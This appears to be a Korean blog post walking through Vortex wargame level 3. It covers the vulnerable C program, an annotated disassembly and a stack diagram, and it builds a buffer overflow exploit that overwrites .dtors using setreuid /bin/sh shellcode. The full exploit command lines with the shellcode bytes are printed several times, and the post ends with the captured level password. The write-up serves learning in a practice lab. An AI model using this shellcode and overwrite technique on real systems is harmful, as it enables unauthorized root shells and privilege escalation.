vortex level3

2009. 10. 3. 06:07

*
* 0xbadc0ded.org Challenge #02 (2003-07-08)
*
* Joel Eriksson <je@0xbadc0ded.org>
*/

#include <string.h>
#include <stdlib.h>
#include <stdio.h>

  unsigned long val = 31337;
  unsigned long *lp = &val;
 
 int main(int argc, char **argv)
{
        unsigned long **lpp = &lp, *tmp;
         char buf[128];
         if (argc != 2)
             exit(1);
        strcpy(buf, argv[1]);

        if (((unsigned long) lpp & 0xffff0000) != 0x08040000)
               exit(2);
        tmp = *lpp;
       **lpp = (unsigned long) &buf;
         *lpp = tmp;
         exit(0);
}

level3의 소스. strcpy를 이용한 BOF 가 가능할 것으로 보인다. 서버에서 디버깅을 해보았다.

0x0804835c <main+0>:    push   %ebp
0x0804835d <main+1>:    mov    %esp,%ebp
0x0804835f <main+3>:    sub    $0x98,%esp             스택을 0x98만큼 확장
0x08048365 <main+9>:    and    $0xfffffff0,%esp       
0x08048368 <main+12>:    mov    $0x0,%eax           
0x0804836d <main+17>:    sub    %eax,%esp
0x0804836f <main+19>:    movl   $0x80494a0,-0xc(%ebp)    0x80494a0 의 값을 lpp(ebp) -12 에 넣는다.
0x08048376 <main+26>:    cmpl   $0x2,0x8(%ebp)               argc(ebp + 8)와 2를 비교
0x0804837a <main+30>:    je     0x8048386 <main+42>         
0x0804837c <main+32>:    sub    $0xc,%esp
0x0804837f <main+35>:    push   $0x1
0x08048381 <main+37>:    call   0x804828c exit@plt      argc가 2가 아니면 exit 호출.
0x08048386 <main+42>:    sub    $0x8,%esp                     
0x08048389 <main+45>:    mov    0xc(%ebp),%eax           argv[0]을 eax에 넣는다.
0x0804838c <main+48>:    add    $0x4,%eax                    argv[0] + 4
0x0804838f <main+51>:    pushl  (%eax)                           argv[1]의 주소를  스택에 넣는다.
0x08048391 <main+53>:    lea    -0x98(%ebp),%eax         ebp - 0x98 (152) 의 주소를 eax에 push
0x08048397 <main+59>:    push   %eax                            
0x08048398 <main+60>:    call   0x804829c <strcpy@plt>     strcpy 호출
0x0804839d <main+65>:    add    $0x10,%esp
0x080483a0 <main+68>:    mov    -0xc(%ebp),%eax            lpp 를 eax로 옮기고
0x080483a3 <main+71>:    and    $0xffff0000,%eax          0xffff0000 와 and 연산
0x080483a8 <main+76>:    cmp    $0x8040000,%eax       0x8040000 와 같으면
0x080483ad <main+81>:    je     0x80483b9 <main+93>   main + 93 으로 jump
0x080483af <main+83>:    sub    $0xc,%esp             
0x080483b2 <main+86>:    push   $0x2                           
0x080483b4 <main+88>:    call   0x804828c <exit@plt>     exit(2);
0x080483b9 <main+93>:    mov    -0xc(%ebp),%eax          lpp를 eax로
0x080483bc <main+96>:   mov    (%eax),%eax                lpp가 가리키는 값을 eax로 넣는다
0x080483be <main+98>:    mov    %eax,-0x10(%ebp)       eax 를 ebp - 0x10으로 (tmp = *lpp)
0x080483c1 <main+101>:    mov    -0xc(%ebp),%eax
0x080483c4 6 <main+106>:    lea    -0x98(%ebp),%eax      buf의 주소(ebp - 98)를 eax에 넣는다
0x080483cc <main+112>:    mov    %eax,(%edx)             eax를 edx가 포인팅하는 주소로(**lpp = &buf)
0x080483ce <main+114>:    mov    -0xc(%ebp),%edx      lpp를 edx로
0x080483d1 <main+117>:    mov    -0x10(%ebp),%eax   tmp를 eax로
0x080483d4 <main+120>:    mov    %eax,(%edx)          tmp의 값을 lpp가 가키리는 곳에 넣는다 *lpp = tmp
0x080483d6 <main+122>:    sub    $0xc,%esp
0x080483d9 <main+125>:    push   $0x0
0x080483db <main+127>:    call   0x804828c <exit@plt>
End of assembler dump

스택의 모습을 그려보면 아래와 같다.

[buf ] [ dummy] [ tmp ] [ lpp ] [ dummy ] [ebp] [ret]
  128          8           4           4          8           4       4 


먼저 기본적인 BOF를 시도해보았다.

[shellcode] [NULL] [lpp] [padding][shellcode`s address]
     34              106     4           12                  4


/vortex/level3 `python -c "print '\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1
\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f
\x62\x69\x89\xe3\x89\xd1\xcd\x80'+'\x90'*106+'\xa0\x94\x04\x08'
+'\x90'*12+'\x40\xf5\x7f\xbf'"`

Shellcode는 shell-storm.org에서 setreuid 를 사용한 34 바이트 짜리를 사용.
(http://www.shell-storm.org/shellcode/files/shellcode-399.php)

세그먼트 폴트가 발생하며 종료되었다. 확인해보니 return address 가  buf의 주소로 바뀌었지만 쉘은 떨어
지지 않았다. 아마도 exit 함수로 바로 종료되기 때문일 것이다.

문제에 첨부된 문서대로 DTOR_END를 이용해보자

DTOR_END의 주소는 08049574에서 4를 더한 08049578 이다.

[shellcode] [NULL] [lpp]

/vortex/level3 `python -c "print '\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89
\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68
\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80'+'\x90'*106+'\x78\x95\x04
\x08
'
"`

위와 같이 실행하면 0x080483cc 에서 세그 폴트가 발생한다.  0x080483cc는 바로 이 부분이다.

**lpp = (unsigned long) &buf;

DTOR_END의 주소인 08049578을 그대로 써주면 이 주소에 있는 값인 0 이 포인팅하는 곳에 값을 넣으려해서
 에러가 발생하게 된다. 원하는 곳을 가리키기 위해서 08049578를 가리키는 0804xxxx 주소가 필요하다.

어디서 이 주소를 구할수 있을까 한참을 삽질하다 스파게티코더님 블로그(http://semtle.tistory.com/146)
에서 원하는 정보를 얻을 수 있었다.

"용자여.. __DTOR_END__ 를 가리키고 있는 p.0 섹션이라는게 존재한답니다."

아 이런녀석이 있는지 전혀 몰랐다.. objdump로 .data 영역의 컨텐츠를 긁어봐도 p.0 섹션을 확인할 수 있다.



최종적으로 요렇게 입력해서 2YmgK1=jw 라는 패스워드를 겟

/vortex/level3 `python -c "print '\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80'+'\x90'*106+'\x98\x94\x04\x08'"`


 

'War game > vortex' 카테고리의 다른 글

vortex12  (0) 2014.01.02
Vortex11  (3) 2013.04.02
vortex level10  (0) 2011.04.18
vortex level8  (0) 2010.12.09
vortex level1  (0) 2009.09.24
vortex level0  (0) 2009.09.23

badcob War game/vortex